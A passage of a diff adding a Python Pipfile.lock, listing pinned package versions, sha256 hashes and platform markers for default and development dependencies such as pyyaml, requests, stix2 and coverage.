+ "sha256:8898f6699f740ca93a0879ed07d8e6db02d68af889d0ebb3d13ab017e6b1af1e",
+ "sha256:8a41fdc751dc4707a4fafb111c442411816a7c225ebb5cadb57599534b5d5372",
+ "sha256:8e0004b0393d72d76de94b4792a006cb960c1c65c7659930fbf9a81ce4341982",
+ "sha256:977b1d4f868986b4ba5d03c317fde4d3b66e687d74473130cd598e3103db34fa",
+ "sha256:9a4f6e0b01df820ba9ed0b4e618ca83a1c089e48d4f268d0e00dcd49893d4549",
+ "sha256:9b9298964389c180a063a9e8bac8a80ed42de11d04166b20249bfa0a489e0e0f",
+ "sha256:a08c8b322b671857c81f4c30cd3c8df2895fd3c0e9358714f39e0ef8fb327702",
+ "sha256:ad31f184dcd3271de26ab1f9c51574afb99e1b0e484ab1da3641256b723e4994",
+ "sha256:aff3656af2add93f290731a6b8930b23b35c0c09569150130a58192b3ec6fc61",
+ "sha256:b2f41261b648cf5dee425f37ff14f4ad151c2f24b827052b402637158fd056ef",
+ "sha256:b413117210fa6d92664c3d860571e8e8727c3e8f2ff197276c5d0cb365abd3ad",
+ "sha256:b7efc7e7049ef366777cfd35437c18a4166bb50a5606a1c840ee3b9624b54fc9",
+ "sha256:b8f94acd52e530a38f25e4d5bf7ddfdd4bea9193e718f58419def0d4406b58d3",
+ "sha256:d0a70151d7de8a3194cdc906bcc1a42e14594787c64b0c1c9c975e5a2af3e251",
+ "sha256:d360e5d5dd3d55bf5d1776964625018d85b937d1032bae1926dd52253decd0db",
+ "sha256:d4e62417e89b717a7bcd8576ac3108cd063225942cc91c5b37ff5465fdccd386",
+ "sha256:d65bac5f6724d9ea6f0b5a0f0e4952fbbf209adcf6b5583b54c54bd2fcd74dc0",
+ "sha256:e02beaab433fd1104b2804f909e694cfbdb6578020740a9051597adc1cd4e19f",
+ "sha256:e4b631688dfbdd61b5610e20b64b99d25771c6d52d9da73349342d2a0f11c46a",
+ "sha256:e4e9db78b71db2b1684ee4ecc3e32c4600f18cdf76e6b9ae03e338e52ee4b168",
+ "sha256:eb4d176394c37a76e8b0afe54b12d58614a67a60a7f8c0dd3a5afbb013c01092",
+ "sha256:f08665d3cc5abc2f770f472a9b5f720a9b3ab0b8b3bb97c7c1487515e5653d39",
+ "sha256:f3d851af3852f16ad4adc7ee054fd9c90a7a5063de94d815b7f6a88477b9f4c6",
+ "sha256:f4ba58157e8ae33ee86fadf9062c506e535afd904f07f9be32731f4410a23b7f",
+ "sha256:f664ed7613b8b18f0ce5696b146776266a038c19c5cd6efffa08ecc189b01b73",
+ "sha256:f947b359cc4769af8b49be7e37af01f05fcf15b401da2528021148e4a54426d1",
+ "sha256:fe4189846448df013cd9df11bba38ddf78043f8c290a9f06430732a7a8601cce",
+ "sha256:fea5cb1c63efe1399f0812532c7cf65458d38fd011be350bc5021dfcac39fba8",
+ "sha256:fedf0dee7a412ca6d1d6d92c158fe9cbaa8ea0cae90d268f9ccc0744de7a97d0",
+ "sha256:fffff7bfb6799a763d3742c59c6ee7ffadda21abed557637bc44ed1080876484"
+ ],
+ "version": "==3.11.4"
+ },
+ "pyreadline": {
+ "hashes": [
+ "sha256:4530592fc2e85b25b1a9f79664433da09237c1a270e4d78ea5aa3a2c7229e2d1",
+ "sha256:65540c21bfe14405a3a77e4c085ecfce88724743a4ead47c66b84defcf82c32e",
+ "sha256:9ce5fa65b8992dfa373bddc5b6e0864ead8f291c94fbfec05fbd5c836162e67b"
+ ],
+ "markers": "sys_platform == 'win32'",
+ "version": "==2.1"
+ },
+ "pyrsistent": {
+ "hashes": [
+ "sha256:097b96f129dd36a8c9e33594e7ebb151b1515eb52cceb08474c10a5479e799f2",
+ "sha256:2aaf19dc8ce517a8653746d98e962ef480ff34b6bc563fc067be6401ffb457c7",
+ "sha256:404e1f1d254d314d55adb8d87f4f465c8693d6f902f67eb6ef5b4526dc58e6ea",
+ "sha256:48578680353f41dca1ca3dc48629fb77dfc745128b56fc01096b2530c13fd426",
+ "sha256:4916c10896721e472ee12c95cdc2891ce5890898d2f9907b1b4ae0f53588b710",
+ "sha256:527be2bfa8dc80f6f8ddd65242ba476a6c4fb4e3aedbf281dfbac1b1ed4165b1",
+ "sha256:58a70d93fb79dc585b21f9d72487b929a6fe58da0754fa4cb9f279bb92369396",
+ "sha256:5e4395bbf841693eaebaa5bb5c8f5cdbb1d139e07c975c682ec4e4f8126e03d2",
+ "sha256:6b5eed00e597b5b5773b4ca30bd48a5774ef1e96f2a45d105db5b4ebb4bca680",
+ "sha256:73ff61b1411e3fb0ba144b8f08d6749749775fe89688093e1efef9839d2dcc35",
+ "sha256:772e94c2c6864f2cd2ffbe58bb3bdefbe2a32afa0acb1a77e472aac831f83427",
+ "sha256:773c781216f8c2900b42a7b638d5b517bb134ae1acbebe4d1e8f1f41ea60eb4b",
+ "sha256:a0c772d791c38bbc77be659af29bb14c38ced151433592e326361610250c605b",
+ "sha256:b29b869cf58412ca5738d23691e96d8aff535e17390128a1a52717c9a109da4f",
+ "sha256:c1a9ff320fa699337e05edcaae79ef8c2880b52720bc031b219e5b5008ebbdef",
+ "sha256:cd3caef37a415fd0dae6148a1b6957a8c5f275a62cca02e18474608cb263640c",
+ "sha256:d5ec194c9c573aafaceebf05fc400656722793dac57f254cd4741f3c27ae57b4",
+ "sha256:da6e5e818d18459fa46fac0a4a4e543507fe1110e808101277c5a2b5bab0cd2d",
+ "sha256:e79d94ca58fcafef6395f6352383fa1a76922268fa02caa2272fff501c2fdc78",
+ "sha256:f3ef98d7b76da5eb19c37fda834d50262ff9167c65658d1d8f974d2e4d90676b",
+ "sha256:f4c8cabb46ff8e5d61f56a037974228e978f26bfefce4f61a4b1ac0ba7a2ab72"
+ ],
+ "markers": "python_version >= '3.6'",
+ "version": "==0.18.0"
+ },
+ "python-dateutil": {
+ "hashes": [
+ "sha256:7e6584c74aeed623791615e26efd690f29817a27c73085b78e4bad02493df2fb",
+ "sha256:c89805f6f4d64db21ed966fda138f8a5ed7a4fdbc1a8ee329ce1b74e3c74da9e"
+ ],
+ "index": "pypi",
+ "version": "==2.8.0"
+ },
+ "pytz": {
+ "hashes": [
+ "sha256:83a4a90894bf38e243cf052c8b58f381bfe9a7a483f6a9cab140bc7f702ac4da",
+ "sha256:eb10ce3e7736052ed3623d49975ce333bcd712c7bb19a58b9e2089d4057d0798"
+ ],
+ "version": "==2021.1"
+ },
+ "pywin32": {
+ "hashes": [
+ "sha256:595d397df65f1b2e0beaca63a883ae6d8b6df1cdea85c16ae85f6d2e648133fe",
+ "sha256:87604a4087434cd814ad8973bd47d6524bd1fa9e971ce428e76b62a5e0860fdf",
+ "sha256:88981dd3cfb07432625b180f49bf4e179fb8cbb5704cd512e38dd63636af7a17",
+ "sha256:8c9d33968aa7fcddf44e47750e18f3d034c3e443a707688a008a2e52bbef7e96",
+ "sha256:93367c96e3a76dfe5003d8291ae16454ca7d84bb24d721e0b74a07610b7be4a7",
+ "sha256:9635df6998a70282bd36e7ac2a5cef9ead1627b0a63b17c731312c7a0daebb72",
+ "sha256:98f62a3f60aa64894a290fb7494bfa0bfa0a199e9e052e1ac293b2ad3cd2818b",
+ "sha256:c866f04a182a8cb9b7855de065113bbd2e40524f570db73ef1ee99ff0a5cc2f0",
+ "sha256:dafa18e95bf2a92f298fe9c582b0e205aca45c55f989937c52c454ce65b93c78",
+ "sha256:fb3b4933e0382ba49305cc6cd3fb18525df7fd96aa434de19ce0878133bf8e4a"
+ ],
+ "markers": "python_version < '3.10' and sys_platform == 'win32' and implementation_name == 'cpython'",
+ "version": "==301"
+ },
+ "pywin32-ctypes": {
+ "hashes": [
+ "sha256:24ffc3b341d457d48e8922352130cf2644024a4ff09762a2261fd34c36ee5942",
+ "sha256:9dc2d991b3479cc2df15930958b674a48a227d5361d413827a4cfd0b5876fc98"
+ ],
+ "markers": "sys_platform == 'win32'",
+ "version": "==0.2.0"
+ },
+ "pyyaml": {
+ "hashes": [
+ "sha256:06a0d7ba600ce0b2d2fe2e78453a470b5a6e000a985dd4a4e54e436cc36b0e97",
+ "sha256:240097ff019d7c70a4922b6869d8a86407758333f02203e0fc6ff79c5dcede76",
+ "sha256:4f4b913ca1a7319b33cfb1369e91e50354d6f07a135f3b901aca02aa95940bd2",
+ "sha256:6034f55dab5fea9e53f436aa68fa3ace2634918e8b5994d82f3621c04ff5ed2e",
+ "sha256:69f00dca373f240f842b2931fb2c7e14ddbacd1397d57157a9b005a6a9942648",
+ "sha256:73f099454b799e05e5ab51423c7bcf361c58d3206fa7b0d555426b1f4d9a3eaf",
+ "sha256:74809a57b329d6cc0fdccee6318f44b9b8649961fa73144a98735b0aaf029f1f",
+ "sha256:7739fc0fa8205b3ee8808aea45e968bc90082c10aef6ea95e855e10abf4a37b2",
+ "sha256:95f71d2af0ff4227885f7a6605c37fd53d3a106fcab511b8860ecca9fcf400ee",
+ "sha256:ad9c67312c84def58f3c04504727ca879cb0013b2517c85a9a253f0cb6380c0a",
+ "sha256:b8eac752c5e14d3eca0e6dd9199cd627518cb5ec06add0de9d32baeee6fe645d",
+ "sha256:cc8955cfbfc7a115fa81d85284ee61147059a753344bc51098f3ccd69b0d7e0c",
+ "sha256:d13155f591e6fcc1ec3b30685d50bf0711574e2c0dfffd7644babf8b5102ca1a"
+ ],
+ "markers": "python_version != '3.4'",
+ "version": "==5.3.1"
+ },
+ "requests": {
+ "hashes": [
+ "sha256:27973dd4a904a4f13b263a19c866c13b92a39ed1c964655f025f3f8d3d75b804",
+ "sha256:c210084e36a42ae6b9219e00e48287def368a26d03a048ddad7bfee44f75871e"
+ ],
+ "index": "pypi",
+ "version": "==2.25.1"
+ },
+ "ring": {
+ "hashes": [
+ "sha256:c6b4ea68ab79055fce640e68af4a2e2fddd624a803fac2e4edfa33c8727c9601"
+ ],
+ "index": "pypi",
+ "version": "==0.8.3"
+ },
+ "rsa": {
+ "hashes": [
+ "sha256:35c5b5f6675ac02120036d97cf96f1fde4d49670543db2822ba5015e21a18032",
+ "sha256:4d409f5a7d78530a4a2062574c7bd80311bc3af29b364e293aa9b03eea77714f"
+ ],
+ "markers": "python_version != '3.4'",
+ "version": "==4.5"
+ },
+ "s3transfer": {
+ "hashes": [
+ "sha256:35627b86af8ff97e7ac27975fe0a98a312814b46c6333d8a6b889627bcd80994",
+ "sha256:efa5bd92a897b6a8d5c1383828dca3d52d0790e0756d49740563a3fb6ed03246"
+ ],
+ "version": "==0.3.7"
+ },
+ "scoutsuite": {
+ "git": "https://github.com/guardicode/ScoutSuite",
+ "ref": "eac33ac5b0a84e4a2e29682cf3568271eb595003"
+ },
+ "simplejson": {
+ "hashes": [
+ "sha256:034550078a11664d77bc1a8364c90bb7eef0e44c2dbb1fd0a4d92e3997088667",
+ "sha256:05b43d568300c1cd43f95ff4bfcff984bc658aa001be91efb3bb21df9d6288d3",
+ "sha256:0dd9d9c738cb008bfc0862c9b8fa6743495c03a0ed543884bf92fb7d30f8d043",
+ "sha256:10fc250c3edea4abc15d930d77274ddb8df4803453dde7ad50c2f5565a18a4bb",
+ "sha256:2862beabfb9097a745a961426fe7daf66e1714151da8bb9a0c430dde3d59c7c0",
+ "sha256:292c2e3f53be314cc59853bd20a35bf1f965f3bc121e007ab6fd526ed412a85d",
+ "sha256:2d3eab2c3fe52007d703a26f71cf649a8c771fcdd949a3ae73041ba6797cfcf8",
+ "sha256:2e7b57c2c146f8e4dadf84977a83f7ee50da17c8861fd7faf694d55e3274784f",
+ "sha256:311f5dc2af07361725033b13cc3d0351de3da8bede3397d45650784c3f21fbcf",
+ "sha256:344e2d920a7f27b4023c087ab539877a1e39ce8e3e90b867e0bfa97829824748",
+ "sha256:3fabde09af43e0cbdee407555383063f8b45bfb52c361bc5da83fcffdb4fd278",
+ "sha256:42b8b8dd0799f78e067e2aaae97e60d58a8f63582939af60abce4c48631a0aa4",
+ "sha256:4b3442249d5e3893b90cb9f72c7d6ce4d2ea144d2c0d9f75b9ae1e5460f3121a",
+ "sha256:55d65f9cc1b733d85ef95ab11f559cce55c7649a2160da2ac7a078534da676c8",
+ "sha256:5c659a0efc80aaaba57fcd878855c8534ecb655a28ac8508885c50648e6e659d",
+ "sha256:72d8a3ffca19a901002d6b068cf746be85747571c6a7ba12cbcf427bfb4ed971",
+ "sha256:75ecc79f26d99222a084fbdd1ce5aad3ac3a8bd535cd9059528452da38b68841",
+ "sha256:76ac9605bf2f6d9b56abf6f9da9047a8782574ad3531c82eae774947ae99cc3f",
+ "sha256:7d276f69bfc8c7ba6c717ba8deaf28f9d3c8450ff0aa8713f5a3280e232be16b",
+ "sha256:7f10f8ba9c1b1430addc7dd385fc322e221559d3ae49b812aebf57470ce8de45",
+ "sha256:8042040af86a494a23c189b5aa0ea9433769cc029707833f261a79c98e3375f9",
+ "sha256:813846738277729d7db71b82176204abc7fdae2f566e2d9fcf874f9b6472e3e6",
+ "sha256:845a14f6deb124a3bcb98a62def067a67462a000e0508f256f9c18eff5847efc",
+ "sha256:869a183c8e44bc03be1b2bbcc9ec4338e37fa8557fc506bf6115887c1d3bb956",
+ "sha256:8acf76443cfb5c949b6e781c154278c059b09ac717d2757a830c869ba000cf8d",
+ "sha256:8f713ea65958ef40049b6c45c40c206ab363db9591ff5a49d89b448933fa5746",
+ "sha256:934115642c8ba9659b402c8bdbdedb48651fb94b576e3b3efd1ccb079609b04a",
+ "sha256:9551f23e09300a9a528f7af20e35c9f79686d46d646152a0c8fc41d2d074d9b0",
+ "sha256:9a2b7543559f8a1c9ed72724b549d8cc3515da7daf3e79813a15bdc4a769de25",
+ "sha256:a55c76254d7cf8d4494bc508e7abb993a82a192d0db4552421e5139235604625",
+ "sha256:ad8f41c2357b73bc9e8606d2fa226233bf4d55d85a8982ecdfd55823a6959995",
+ "sha256:af4868da7dd53296cd7630687161d53a7ebe2e63814234631445697bd7c29f46",
+ "sha256:afebfc3dd3520d37056f641969ce320b071bc7a0800639c71877b90d053e087f",
+ "sha256:b59aa298137ca74a744c1e6e22cfc0bf9dca3a2f41f51bc92eb05695155d905a",
+ "sha256:bc00d1210567a4cdd215ac6e17dc00cb9893ee521cee701adfd0fa43f7c73139",
+ "sha256:c1cb29b1fced01f97e6d5631c3edc2dadb424d1f4421dad079cb13fc97acb42f",
+ "sha256:c94dc64b1a389a416fc4218cd4799aa3756f25940cae33530a4f7f2f54f166da",
+ "sha256:ceaa28a5bce8a46a130cd223e895080e258a88d51bf6e8de2fc54a6ef7e38c34",
+ "sha256:cff6453e25204d3369c47b97dd34783ca820611bd334779d22192da23784194b",
+ "sha256:d0b64409df09edb4c365d95004775c988259efe9be39697d7315c42b7a5e7e94",
+ "sha256:d4813b30cb62d3b63ccc60dd12f2121780c7a3068db692daeb90f989877aaf04",
+ "sha256:da3c55cdc66cfc3fffb607db49a42448785ea2732f055ac1549b69dcb392663b",
+ "sha256:e058c7656c44fb494a11443191e381355388443d543f6fc1a245d5d238544396",
+ "sha256:fed0f22bf1313ff79c7fc318f7199d6c2f96d4de3234b2f12a1eab350e597c06",
+ "sha256:ffd4e4877a78c84d693e491b223385e0271278f5f4e1476a4962dca6824ecfeb"
+ ],
+ "markers": "python_version >= '2.5' and python_version not in '3.0, 3.1, 3.2, 3.3'",
+ "version": "==3.17.2"
+ },
+ "six": {
+ "hashes": [
+ "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926",
+ "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254"
+ ],
+ "index": "pypi",
+ "version": "==1.16.0"
+ },
+ "sqlitedict": {
+ "hashes": [
+ "sha256:2affcc301aacd4da7511692601ecbde392294205af418498f7d6d3ec0dbcad56"
+ ],
+ "version": "==1.7.0"
+ },
+ "stix2": {
+ "hashes": [
+ "sha256:15c9cf599f5c43124e76fe71b883e4918f6f4cf65b084c58ec64b6180f45c938",
+ "sha256:3ab60082e4bffb39f75ea9ddc338b64126ff1cd086e6173d39b860191ac26ff4"
+ ],
+ "index": "pypi",
+ "version": "==2.1.0"
+ },
+ "stix2-patterns": {
+ "hashes": [
+ "sha256:174fe5302d2c3223205033af987754132a9ea45a9f8e08aefafbe0549c889ea4",
+ "sha256:bc46cc4eba44b76a17eab7a3ff67f35203543cdb918ab24c1ebd58403fa27992"
+ ],
+ "version": "==1.3.2"
+ },
+ "tempora": {
+ "hashes": [
+ "sha256:c54da0f05405f04eb67abbb1dff4448fd91428b58cb00f0f645ea36f6a927950",
+ "sha256:ef2d8bb35902d5ea7da95df33456685a6d305b97f311725c12e55c13d85c0938"
+ ],
+ "markers": "python_version >= '3.6'",
+ "version": "==4.1.1"
+ },
+ "tqdm": {
+ "hashes": [
+ "sha256:5aa445ea0ad8b16d82b15ab342de6b195a722d75fc1ef9934a46bba6feafbc64",
+ "sha256:8bb94db0d4468fea27d004a0f1d1c02da3cdedc00fe491c0de986b76a04d6b0a"
+ ],
+ "index": "pypi",
+ "version": "==4.61.2"
+ },
+ "typing-extensions": {
+ "hashes": [
+ "sha256:0ac0f89795dd19de6b97debb0c6af1c70987fd80a2d62d1958f7e56fcc31b497",
+ "sha256:50b6f157849174217d0656f99dc82fe932884fb250826c18350e159ec6cdf342",
+ "sha256:779383f6086d90c99ae41cf0ff39aac8a7937a9283ce0a414e5dd782f4c94a84"
+ ],
+ "markers": "python_version < '3.8'",
+ "version": "==3.10.0.0"
+ },
+ "urllib3": {
+ "hashes": [
+ "sha256:8d7eaa5a82a1cac232164990f04874c594c9453ec55eef02eab885aa02fc17a2",
+ "sha256:f5321fbe4bf3fefa0efd0bfe7fb14e90909eb62a48ccda331726b4319897dd5e"
+ ],
+ "markers": "python_version != '3.4'",
+ "version": "==1.25.11"
+ },
+ "werkzeug": {
+ "hashes": [
+ "sha256:1de1db30d010ff1af14a009224ec49ab2329ad2cde454c8a708130642d579c42",
+ "sha256:6c1ec500dcdba0baa27600f6a22f6333d8b662d22027ff9f6202e3367413caa8"
+ ],
+ "index": "pypi",
+ "version": "==2.0.1"
+ },
+ "wirerope": {
+ "hashes": [
+ "sha256:0af78b825c4b0e43c79bb038e8d85c86540f85eddf295da5a7e17142ef6c7ee9"
+ ],
+ "version": "==0.4.3"
+ },
+ "zc.lockfile": {
+ "hashes": [
+ "sha256:307ad78227e48be260e64896ec8886edc7eae22d8ec53e4d528ab5537a83203b",
+ "sha256:cc33599b549f0c8a248cb72f3bf32d77712de1ff7ee8814312eb6456b42c015f"
+ ],
+ "version": "==2.0"
+ },
+ "zipp": {
+ "hashes": [
+ "sha256:957cfda87797e389580cb8b9e3870841ca991e2125350677b2ca83a0e99390a3",
+ "sha256:f5812b1e007e48cff63449a5e9f4e7ebea716b4111f9c4f9a645f91d579bf0c4"
+ ],
+ "markers": "python_version >= '3.6'",
+ "version": "==3.5.0"
+ },
+ "zope.event": {
+ "hashes": [
+ "sha256:2666401939cdaa5f4e0c08cf7f20c9b21423b95e88f4675b1443973bdb080c42",
+ "sha256:5e76517f5b9b119acf37ca8819781db6c16ea433f7e2062c4afc2b6fbedb1330"
+ ],
+ "version": "==4.5.0"
+ },
+ "zope.interface": {
+ "hashes": [
+ "sha256:08f9636e99a9d5410181ba0729e0408d3d8748026ea938f3b970a0249daa8192",
+ "sha256:0b465ae0962d49c68aa9733ba92a001b2a0933c317780435f00be7ecb959c702",
+ "sha256:0cba8477e300d64a11a9789ed40ee8932b59f9ee05f85276dbb4b59acee5dd09",
+ "sha256:0cee5187b60ed26d56eb2960136288ce91bcf61e2a9405660d271d1f122a69a4",
+ "sha256:0ea1d73b7c9dcbc5080bb8aaffb776f1c68e807767069b9ccdd06f27a161914a",
+ "sha256:0f91b5b948686659a8e28b728ff5e74b1be6bf40cb04704453617e5f1e945ef3",
+ "sha256:15e7d1f7a6ee16572e21e3576d2012b2778cbacf75eb4b7400be37455f5ca8bf",
+ "sha256:17776ecd3a1fdd2b2cd5373e5ef8b307162f581c693575ec62e7c5399d80794c",
+ "sha256:194d0bcb1374ac3e1e023961610dc8f2c78a0f5f634d0c737691e215569e640d",
+ "sha256:1c0e316c9add0db48a5b703833881351444398b04111188069a26a61cfb4df78",
+ "sha256:205e40ccde0f37496904572035deea747390a8b7dc65146d30b96e2dd1359a83",
+ "sha256:273f158fabc5ea33cbc936da0ab3d4ba80ede5351babc4f577d768e057651531",
+ "sha256:2876246527c91e101184f63ccd1d716ec9c46519cc5f3d5375a3351c46467c46",
+ "sha256:2c98384b254b37ce50eddd55db8d381a5c53b4c10ee66e1e7fe749824f894021",
+ "sha256:2e5a26f16503be6c826abca904e45f1a44ff275fdb7e9d1b75c10671c26f8b94",
+ "sha256:334701327f37c47fa628fc8b8d28c7d7730ce7daaf4bda1efb741679c2b087fc",
+ "sha256:3748fac0d0f6a304e674955ab1365d515993b3a0a865e16a11ec9d86fb307f63",
+ "sha256:3c02411a3b62668200910090a0dff17c0b25aaa36145082a5a6adf08fa281e54",
+ "sha256:3dd4952748521205697bc2802e4afac5ed4b02909bb799ba1fe239f77fd4e117",
+ "sha256:3f24df7124c323fceb53ff6168da70dbfbae1442b4f3da439cd441681f54fe25",
+ "sha256:469e2407e0fe9880ac690a3666f03eb4c3c444411a5a5fddfdabc5d184a79f05",
+ "sha256:4de4bc9b6d35c5af65b454d3e9bc98c50eb3960d5a3762c9438df57427134b8e",
+ "sha256:5208ebd5152e040640518a77827bdfcc73773a15a33d6644015b763b9c9febc1",
+ "sha256:52de7fc6c21b419078008f697fd4103dbc763288b1406b4562554bd47514c004",
+ "sha256:5bb3489b4558e49ad2c5118137cfeaf59434f9737fa9c5deefc72d22c23822e2",
+ "sha256:5dba5f530fec3f0988d83b78cc591b58c0b6eb8431a85edd1569a0539a8a5a0e",
+ "sha256:5dd9ca406499444f4c8299f803d4a14edf7890ecc595c8b1c7115c2342cadc5f",
+ "sha256:5f931a1c21dfa7a9c573ec1f50a31135ccce84e32507c54e1ea404894c5eb96f",
+ "sha256:63b82bb63de7c821428d513607e84c6d97d58afd1fe2eb645030bdc185440120",
+ "sha256:66c0061c91b3b9cf542131148ef7ecbecb2690d48d1612ec386de9d36766058f",
+ "sha256:6f0c02cbb9691b7c91d5009108f975f8ffeab5dff8f26d62e21c493060eff2a1",
+ "sha256:71aace0c42d53abe6fc7f726c5d3b60d90f3c5c055a447950ad6ea9cec2e37d9",
+ "sha256:7d97a4306898b05404a0dcdc32d9709b7d8832c0c542b861d9a826301719794e",
+ "sha256:7df1e1c05304f26faa49fa752a8c690126cf98b40b91d54e6e9cc3b7d6ffe8b7",
+ "sha256:8270252effc60b9642b423189a2fe90eb6b59e87cbee54549db3f5562ff8d1b8",
+ "sha256:867a5ad16892bf20e6c4ea2aab1971f45645ff3102ad29bd84c86027fa99997b",
+ "sha256:877473e675fdcc113c138813a5dd440da0769a2d81f4d86614e5d62b69497155",
+ "sha256:8892f89999ffd992208754851e5a052f6b5db70a1e3f7d54b17c5211e37a98c7",
+ "sha256:9a9845c4c6bb56e508651f005c4aeb0404e518c6f000d5a1123ab077ab769f5c",
+ "sha256:a1e6e96217a0f72e2b8629e271e1b280c6fa3fe6e59fa8f6701bec14e3354325",
+ "sha256:a8156e6a7f5e2a0ff0c5b21d6bcb45145efece1909efcbbbf48c56f8da68221d",
+ "sha256:a9506a7e80bcf6eacfff7f804c0ad5350c8c95b9010e4356a4b36f5322f09abb",
+ "sha256:af310ec8335016b5e52cae60cda4a4f2a60a788cbb949a4fbea13d441aa5a09e",
+ "sha256:b0297b1e05fd128d26cc2460c810d42e205d16d76799526dfa8c8ccd50e74959",
+ "sha256:bf68f4b2b6683e52bec69273562df15af352e5ed25d1b6641e7efddc5951d1a7",
+ "sha256:d0c1bc2fa9a7285719e5678584f6b92572a5b639d0e471bb8d4b650a1a910920",
+ "sha256:d4d9d6c1a455d4babd320203b918ccc7fcbefe308615c521062bc2ba1aa4d26e",
+ "sha256:db1fa631737dab9fa0b37f3979d8d2631e348c3b4e8325d6873c2541d0ae5a48",
+ "sha256:dd93ea5c0c7f3e25335ab7d22a507b1dc43976e1345508f845efc573d3d779d8",
+ "sha256:f44e517131a98f7a76696a7b21b164bcb85291cee106a23beccce454e1f433a4",
+ "sha256:f7ee479e96f7ee350db1cf24afa5685a5899e2b34992fb99e1f7c1b0b758d263"
+ ],
+ "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'",
+ "version": "==5.4.0"
+ }
+ },
+ "develop": {
+ "appdirs": {
+ "hashes": [
+ "sha256:7d5d0167b2b1ba821647616af46a749d1c653740dd0d2415100fe26e27afdf41",
+ "sha256:a841dacd6b99318a741b166adb07e19ee71a274450e68237b4650ca1055ab128"
+ ],
+ "version": "==1.4.4"
+ },
+ "atomicwrites": {
+ "hashes": [
+ "sha256:6d1784dea7c0c8d4a5172b6c620f40b6e4cbfdf96d783691f2e1302a7b88e197",
+ "sha256:ae70396ad1a434f9c7046fd2dd196fc04b12f9e91ffb859164193be8b6168a7a"
+ ],
+ "markers": "sys_platform == 'win32'",
+ "version": "==1.4.0"
+ },
+ "attrs": {
+ "hashes": [
+ "sha256:149e90d6d8ac20db7a955ad60cf0e6881a3f20d37096140088356da6c716b0b1",
+ "sha256:ef6aaac3ca6cd92904cdd0d83f629a15f18053ec84e6432106f7a4d04ae4f5fb"
+ ],
+ "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'",
+ "version": "==21.2.0"
+ },
+ "black": {
+ "hashes": [
+ "sha256:1c02557aa099101b9d21496f8a914e9ed2222ef70336404eeeac8edba836fbea"
+ ],
+ "index": "pypi",
+ "version": "==20.8b1"
+ },
+ "certifi": {
+ "hashes": [
+ "sha256:2bbf76fd432960138b3ef6dda3dde0544f27cbf8546c458e60baf371917ba9ee",
+ "sha256:50b1e4f8446b06f41be7dd6338db18e0990601dce795c2b1686458aa7e8fa7d8"
+ ],
+ "version": "==2021.5.30"
+ },
+ "chardet": {
+ "hashes": [
+ "sha256:0d6f53a15db4120f2b08c94f11e7d93d2c911ee118b6b30a04ec3ee8310179fa",
+ "sha256:f864054d66fd9118f2e67044ac8981a54775ec5b67aed0441892edb553d21da5"
+ ],
+ "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'",
+ "version": "==4.0.0"
+ },
+ "click": {
+ "hashes": [
+ "sha256:8c04c11192119b1ef78ea049e0a6f0463e4c48ef00a30160c704337586f3ad7a",
+ "sha256:fba402a4a47334742d782209a7c79bc448911afe1149d07bdabdf480b3e2f4b6"
+ ],
+ "markers": "python_version >= '3.6'",
+ "version": "==8.0.1"
+ },
+ "colorama": {
+ "hashes": [
+ "sha256:7d73d2a99753107a36ac6b455ee49046802e59d9d076ef8e47b61499fa29afff",
+ "sha256:e96da0d330793e2cb9485e9ddfd918d456036c7149416295932478192f4436a1"
+ ],
+ "markers": "python_version != '3.4' and platform_system == 'Windows' and sys_platform == 'win32' and platform_system == 'Windows'",
+ "version": "==0.4.3"
+ },
+ "coverage": {
+ "hashes": [
+ "sha256:004d1880bed2d97151facef49f08e255a20ceb6f9432df75f4eef018fdd5a78c",
+ "sha256:01d84219b5cdbfc8122223b39a954820929497a1cb1422824bb86b07b74594b6",
+ "sha256:040af6c32813fa3eae5305d53f18875bedd079960822ef8ec067a66dd8afcd45",
+ "sha256:06191eb60f8d8a5bc046f3799f8a07a2d7aefb9504b0209aff0b47298333302a",
+ "sha256:13034c4409db851670bc9acd836243aeee299949bd5673e11844befcb0149f03",
+ "sha256:13c4ee887eca0f4c5a247b75398d4114c37882658300e153113dafb1d76de529",
+ "sha256:184a47bbe0aa6400ed2d41d8e9ed868b8205046518c52464fde713ea06e3a74a",
+ "sha256:18ba8bbede96a2c3dde7b868de9dcbd55670690af0988713f0603f037848418a",
+ "sha256:1aa846f56c3d49205c952d8318e76ccc2ae23303351d9270ab220004c580cfe2",
+ "sha256:217658ec7187497e3f3ebd901afdca1af062b42cfe3e0dafea4cced3983739f6",
+ "sha256:24d4a7de75446be83244eabbff746d66b9240ae020ced65d060815fac3423759",
+ "sha256:2910f4d36a6a9b4214bb7038d537f015346f413a975d57ca6b43bf23d6563b53",
+ "sha256:2949cad1c5208b8298d5686d5a85b66aae46d73eec2c3e08c817dd3513e5848a",
+ "sha256:2a3859cb82dcbda1cfd3e6f71c27081d18aa251d20a17d87d26d4cd216fb0af4",
+ "sha256:2cafbbb3af0733db200c9b5f798d18953b1a304d3f86a938367de1567f4b5bff",
+ "sha256:2e0d881ad471768bf6e6c2bf905d183543f10098e3b3640fc029509530091502",
+ "sha256:30c77c1dc9f253283e34c27935fded5015f7d1abe83bc7821680ac444eaf7793",
+ "sha256:3487286bc29a5aa4b93a072e9592f22254291ce96a9fbc5251f566b6b7343cdb",
+ "sha256:372da284cfd642d8e08ef606917846fa2ee350f64994bebfbd3afb0040436905",
+ "sha256:41179b8a845742d1eb60449bdb2992196e211341818565abded11cfa90efb821",
+ "sha256:44d654437b8ddd9eee7d1eaee28b7219bec228520ff809af170488fd2fed3e2b",
+ "sha256:4a7697d8cb0f27399b0e393c0b90f0f1e40c82023ea4d45d22bce7032a5d7b81",
+ "sha256:51cb9476a3987c8967ebab3f0fe144819781fca264f57f89760037a2ea191cb0",
+ "sha256:52596d3d0e8bdf3af43db3e9ba8dcdaac724ba7b5ca3f6358529d56f7a166f8b",
+ "sha256:53194af30d5bad77fcba80e23a1441c71abfb3e01192034f8246e0d8f99528f3",
+ "sha256:5fec2d43a2cc6965edc0bb9e83e1e4b557f76f843a77a2496cbe719583ce8184",
+ "sha256:6c90e11318f0d3c436a42409f2749ee1a115cd8b067d7f14c148f1ce5574d701",
+ "sha256:74d881fc777ebb11c63736622b60cb9e4aee5cace591ce274fb69e582a12a61a",
